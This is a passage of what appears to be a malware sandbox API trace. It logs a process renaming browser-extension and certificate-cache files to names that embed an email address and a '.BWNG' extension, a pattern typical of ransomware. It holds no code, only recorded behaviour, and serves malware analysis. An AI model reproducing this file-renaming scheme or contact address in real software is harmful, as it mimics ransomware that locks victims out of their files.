| out: lpWideCharStr="S") returned 1 [0122.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="w") returned 1 [0122.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0122.314] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\[billwong73@yahoo.com].KsS3VGxp-MmoulSwA.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\[billwong73@yahoo.com].kss3vgxp-mmoulswa.bwng"), dwFlags=0x1) returned 1 [0122.316] GetTickCount () returned 0x116629a [0122.316] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26426802543) returned 1 [0122.316] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0122.316] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0122.316] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0122.316] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="a") returned 1 [0122.316] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0122.316] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0122.316] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0122.316] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0122.316] GetTickCount () returned 0x116629a [0122.316] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=26426832846) returned 1 [0122.316] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0122.316] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\[billwong73@yahoo.com].ge9am0tB-DiYT58gB.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\[billwong73@yahoo.com].ge9am0tb-diyt58gb.bwng"), dwFlags=0x1) returned 1 [0122.318] GetTickCount () returned 0x116629a [0122.318] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26427032081) returned 1 [0122.318] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\[billwong73@yahoo.com].QFOcXGrm-rN9Mfl4n.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\[billwong73@yahoo.com].qfocxgrm-rn9mfl4n.bwng"), dwFlags=0x1) returned 1 [0122.321] GetTickCount () returned 0x11662aa [0122.321] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26427314397) returned 1 [0122.321] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\[billwong73@yahoo.com].a4e35Pde-yRzS9bGZ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\[billwong73@yahoo.com].a4e35pde-yrzs9bgz.bwng"), dwFlags=0x1) returned 1 [0122.323] GetTickCount () returned 0x11662aa [0122.323] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26427476890) returned 1 [0122.323] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\[billwong73@yahoo.com].hWlX4s1y-wCwR2YJT.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\[billwong73@yahoo.com].hwlx4s1y-wcwr2yjt.bwng"), dwFlags=0x1) returned 1 [0122.324] GetTickCount () returned 0x11662aa [0122.324] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26427617388) returned 1 [0122.324] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\[billwong73@yahoo.com].DOlVnvyl-fKSP1k6S.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\[billwong73@yahoo.com].dolvnvyl-fksp1k6s.bwng"), dwFlags=0x1) returned 1 [0122.326] GetTickCount () returned 0x11662aa [0122.326] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26427799285) returned 1 [0122.326] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\[billwong73@yahoo.com].h8MbPk5l-NQnQFUch.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\[billwong73@yahoo.com].h8mbpk5l-nqnqfuch.bwng"), dwFlags=0x1) returned 1 [0122.327] GetTickCount () returned 0x11662aa [0122.327] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26427970518) returned 1 [0122.328] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\[billwong73@yahoo.com].TgZQFksk-XirhZ9Wj.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\[billwong73@yahoo.com].tgzqfksk-xirhz9wj.bwng"), dwFlags=0x1) returned 1 [0122.329] GetTickCount () returned 0x11662aa [0122.329] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26428105391) returned 1 [0122.329] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\[billwong73@yahoo.com].CoEMaCb5-xECWg6Ur.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\[billwong73@yahoo.com].coemacb5-xecwg6ur.bwng"), dwFlags=0x1) returned 1 [0122.330] GetTickCount () returned 0x11662aa [0122.330] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26428262407) returned 1 [0122.331] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\[billwong73@yahoo.com].2UbJXTsd-CtZbhYz3.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\[billwong73@yahoo.com].2ubjxtsd-ctzbhyz3.bwng"), dwFlags=0x1) returned 1 [0122.332] GetTickCount () returned 0x11662aa [0122.332] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26428405107) returned 1 [0122.332] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\[billwong73@yahoo.com].CvYQJKZW-VlkXvMfQ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\[billwong73@yahoo.com].cvyqjkzw-vlkxvmfq.bwng"), dwFlags=0x1) returned 1 [0122.334] GetTickCount () returned 0x11662aa [0122.334] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26428576845) returned 1 [0122.334] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\[billwong73@yahoo.com].HCrYouD2-KzfrfoUW.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\[billwong73@yahoo.com].hcryoud2-kzfrfouw.bwng"), dwFlags=0x1) returned 1 [0122.474] GetTickCount () returned 0x1166336 [0122.474] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26442605502) returned 1 [0122.474] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\[billwong73@yahoo.com].fi2PjD9L-w97YJjBx.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\[billwong73@yahoo.com].fi2pjd9l-w97yjjbx.bwng"), dwFlags=0x1) returned 1 [0122.610] GetTickCount () returned 0x11663c3 [0122.610] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26456220182) returned 1 [0122.610] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\[billwong73@yahoo.com].gAGM3zBo-WSKTTFmm.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_br\\[billwong73@yahoo.com].gagm3zbo-wskttfmm.bwng"), dwFlags=0x1) returned 1 [0122.612] GetTickCount () returned 0x11663c3 [0122.612] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26456402301) returned 1 [0122.612] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\[billwong73@yahoo.com].PPsdMpzo-E60xD9Sa.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\[billwong73@yahoo.com].ppsdmpzo-e60xd9sa.bwng"), dwFlags=0x1) returned 1 [0122.613] GetTickCount () returned 0x11663c3 [0122.613] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26456562084) returned 1 [0122.614] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\[billwong73@yahoo.com].pgtGnHiR-hX1WD9LA.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\[billwong73@yahoo.com].pgtgnhir-hx1wd9la.bwng"), dwFlags=0x1) returned 1 [0122.615] GetTickCount () returned 0x11663c3 [0122.615] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26456730932) returned 1 [0122.615] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\[billwong73@yahoo.com].W9UozQVu-TpXtDonP.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\[billwong73@yahoo.com].w9uozqvu-tpxtdonp.bwng"), dwFlags=0x1) returned 1 [0122.617] GetTickCount () returned 0x11663d2 [0122.617] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26456889953) returned 1 [0122.617] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\[billwong73@yahoo.com].Ovu0oFVi-EHsgIPSm.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\[billwong73@yahoo.com].ovu0ofvi-ehsgipsm.bwng"), dwFlags=0x1) returned 1 [0122.618] GetTickCount () returned 0x11663d2 [0122.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26457047774) returned 1 [0122.618] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\[billwong73@yahoo.com].0cduRavh-PdijiZ0w.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\[billwong73@yahoo.com].0cduravh-pdijiz0w.bwng"), dwFlags=0x1) returned 1 [0122.620] GetTickCount () returned 0x11663d2 [0122.620] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26457214700) returned 1 [0122.620] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\[billwong73@yahoo.com].D4KEXdQH-TTjmB8Dj.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\[billwong73@yahoo.com].d4kexdqh-ttjmb8dj.bwng"), dwFlags=0x1) returned 1 [0122.622] GetTickCount () returned 0x11663d2 [0122.622] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26457392782) returned 1 [0122.622] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\d47dbd2f9e3365fbbe008d71fb06716f_d33192d58aa9ca2b9097e848e9fe86de"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].HmbG4wS4-W4FFQA6u.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].hmbg4ws4-w4ffqa6u.bwng"), dwFlags=0x1) returned 1 [0122.623] GetTickCount () returned 0x11663d2 [0122.623] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26457550158) returned 1 [0122.623] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3130B1871A126520A8C47861EFE3ED4D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\3130b1871a126520a8c47861efe3ed4d"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].Mrdo5chU-fRpEaeJ3.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].mrdo5chu-frpeaej3.bwng"), dwFlags=0x1) returned 1 [0122.625] GetTickCount () returned 0x11663d2 [0122.625] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26457738847) returned 1 [0122.625] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21" (normalized: "c:\\users\\5p5nrgjn0js 